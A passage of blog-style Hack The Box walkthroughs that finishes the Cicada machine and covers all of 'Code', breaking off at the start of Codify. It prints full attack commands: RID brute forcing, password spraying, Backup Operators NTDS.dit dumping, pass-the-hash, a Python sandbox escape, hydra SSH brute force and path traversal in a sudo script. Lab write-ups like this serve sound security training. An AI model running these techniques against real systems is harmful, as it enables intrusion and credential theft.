| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
54509/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 43674/tcp): CLEAN (Timeout)
|   Check 2 (port 25145/tcp): CLEAN (Timeout)
|   Check 3 (port 62917/udp): CLEAN (Timeout)
|   Check 4 (port 30532/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-05-01T23:05:20
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May  1 21:36:02 2025 -- 1 IP address (1 host up) scanned in 663.04 seconds

Enumeration

Port 139,445/SMB

let’s first check SMB for null session/ anonymous login access

smbclient -L //10.10.11.35 -N

nice we have DEV, HR non-default share on the machine

let’s connect to both shares

sadly we don’t have listing access in DEV share, moving to HR share

smbclient //10.10.11.35/HR -N

i downloaded file via get command let’s read the txt file

it looks like there’s new hire in the Cicada corp and we got the user’s password but to use this password we need valid username let’s first check if we can access the msrpc

but no success, i tried to enumerate users via LDAP, msrpc and kerbrute but no success, then i took a hint and found that we need to bruteforce the RID to enumerate users, we can do it via netexec

netexec smb 10.10.11.35 -u anonymous -p '' --rid-brute

as we can see thee (SidTypeUser) means it is the user account let’s create a list of valid usernames users.txt

john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

nice now we do have the usernames and password let’s check if any user is using default password or not

netexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

we found valid set of creds - michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

great now let’s use netexec to enumerate user once again in case if we missed anything

netexec smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users

let’s enumerate shares with newly obtained creds → david.orelious:aRt$Lp#7t*VQ!3

netexec smb 10.10.11.35 -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares

we have now access to DEV share as well let’s connect to it via smbclient

smbclient //10.10.11.35/DEV -U 'cicada.htb\david.orelious%aRt$Lp#7t*VQ!3'

i downloaded the Backup_script.ps1 using get command

let’s see what is Backup_script.ps1

That’s how it works

we found another set of creds → emily.oscars:Q!3@Lp#M6b*7t*Vt

as we don’t have more shares to enumerate let’s check if we can login with winrm using netexec

netexec winrm 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

let’s login using evil-winrm

evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

let’s see what privileges do we have using whoami /priv

and any interesting group membership net user emily.oscars

nice we are member of Backup operators let’s use https://github.com/G4sp4rCS/backup-operator-to-domain-admin-POC/blob/main/backupToDA.ps1 to dump the NTDS.dit and system from DC and then use impacket-secretdump to get the NTLM hash of the administrator

after downloading the script just upload it to target machine via upload command and bypass the execution policy using powershell -ep bypass

and run script via .\BackupToDA.ps1 wait for few seconds and it will dump the SYSTEM SAM and SECURITY and NTDS.dit

nice now let’s download the SYSTEM and ntds.dit files

now we’ll use the impacket-secretsdump to dump the NTLM hashes from ntds.dit

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

we got the administrator NTLM hash let’s use it to login using evil-winrm

evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Code

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Mon Apr  7 13:17:00 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up, received reset ttl 63 (0.37s latency).
Scanned at 2025-04-07 13:17:01 EDT for 190s
Not shown: 65517 closed tcp ports (reset), 16 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
|   256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr  7 13:20:11 2025 -- 1 IP address (1 host up) scanned in 191.21 seconds

Enumeration

Port 5000/HTTP

Oh great we can execute the python code, what about importing os!

Oh it says use of restricted keywords not allowed

after some searching i found that we can directly interact with app’s memory using raise Exception(globals())

let’s run this to get global variable directory


Register Login About
{'__name__': 'app', '__doc__': None, '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fb5a4fe7610>, '__spec__': ModuleSpec(name='app', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fb5a4fe7610>, origin='/home/app-production/app/app.py'), '__file__': '/home/app-production/app/app.py', '__cached__': '/home/app-production/app/__pycache__/app.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'Flask': <class 'flask.app.Flask'>, 'render_template': <function render_template at 0x7fb5a49a4ee0>, 'render_template_string': <function render_template_string at 0x7fb5a49a4f70>, 'request': <Request 'http://10.10.11.62:5000/run_code' [POST]>, 'jsonify': <function jsonify at 0x7fb5a4c4fc10>, 'redirect': <function redirect at 0x7fb5a4ab93a0>, 'url_for': <function url_for at 0x7fb5a4ab9310>, 'session': <SecureCookieSession {}>, 'flash': <function flash at 0x7fb5a4ab9550>, 'SQLAlchemy': <class 'flask_sqlalchemy.extension.SQLAlchemy'>, 'sys': <module 'sys' (built-in)>, 'io': <module 'io' from '/usr/lib/python3.8/io.py'>, 'os': <module 'os' from '/usr/lib/python3.8/os.py'>, 'hashlib': <module 'hashlib' from '/usr/lib/python3.8/hashlib.py'>, 'app': <Flask 'app'>, 'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>, 'User': <class 'app.User'>, 'Code': <class 'app.Code'>, 'index': <function index at 0x7fb5a39f38b0>, 'register': <function register at 0x7fb5a39f3b80>, 'login': <function login at 0x7fb5a39f3c10>, 'logout': <function logout at 0x7fb5a39f3ca0>, 'run_code': <function run_code at 0x7fb5a39f3e50>, 'load_code': <function load_code at 0x7fb5a386f040>, 'save_code': <function save_code at 0x7fb5a386f1f0>, 'codes': <function codes at 0x7fb5a386f3a0>, 'about': <function about at 0x7fb5a386f55sqlite:////home/app-production/app/instance/database.db>, 'User0>}

something interesting also we found global variable SQLAlchemy, searching further we found that we can intereact with this database using SQLAlchemy we need model for query SQLAlchemy

we can use below python code to extract valid model for query SQLAlchemy

try:
    raise Exception(globals())  # Raise exception to access globals()
except Exception as e:
    global_vars = e.args[0]  # Get globals dictionary

    # Find all classes that are subclasses of db.Model
    models = {name: obj for name, obj in global_vars.items()
              if isinstance(obj, type) and hasattr(obj, '__table__')}

    print("Found SQLAlchemy models:")
    for model_name, model_class in models.items():
        print(model_name)

now as we know the valid model user let’s extract column names from it

use following code to get column names from it

columns = User.__table__.columns.keys()
print(columns)

now we can use User.query.all() built in method to dump data from the memory

we’ve 2 user’s credentials

it’s looks like basic md5 hashes let’s use crackstation to crack the hashes

i’ll use hydra to bruteforce username and password to ssh

hydra -L user.txt -P password.txt ssh://10.10.11.62 -v

let’s check sudo -l

ok so martin can execute /usr/bin/backy.sh using sudo

reading the file we found that

it requires to pass task.json file let’s read the file using cat ~/backup/task.json

so it tells backup source and destination also let’s turn on logging by verbose_log: “true”

i’ll modify the backup path to /home/app-production directory

run the script using,

sudo /usr/bin/backy.sh task.json

if we check file type of all files i found that it is compressed using bzip

use bzip to decompress

bzip2 -d code_home_app-production_2025_April.tar.bz2

it will now create a tar file let’s extract it

tar xvf code_home_app-production_2025_April.tar

what if we can extract this same way!, but unfortunately we couldn’t as if we read the code again we found that it only backup source to either, /home or /var

what about simple path traversal, as it is not checking full path

run the script again

ok so it removed ../../ what about trying ….//….//….//root

looks like it’s facing any issue, let’s use /var/….//root/

extract it using

tar -xjf code_var_.._root_2025_April.tar.bz2

Codify

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Codify
OS Type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Fri Apr 18 08:02:50 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.239
Nmap scan report for 10.10.11.239
Host is up, received echo-reply ttl 63 (0.28s latency).
Scanned at 2025-04-18 08:02:51 EDT for 109s
Not shown: 65518 closed tcp ports (reset), 14 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
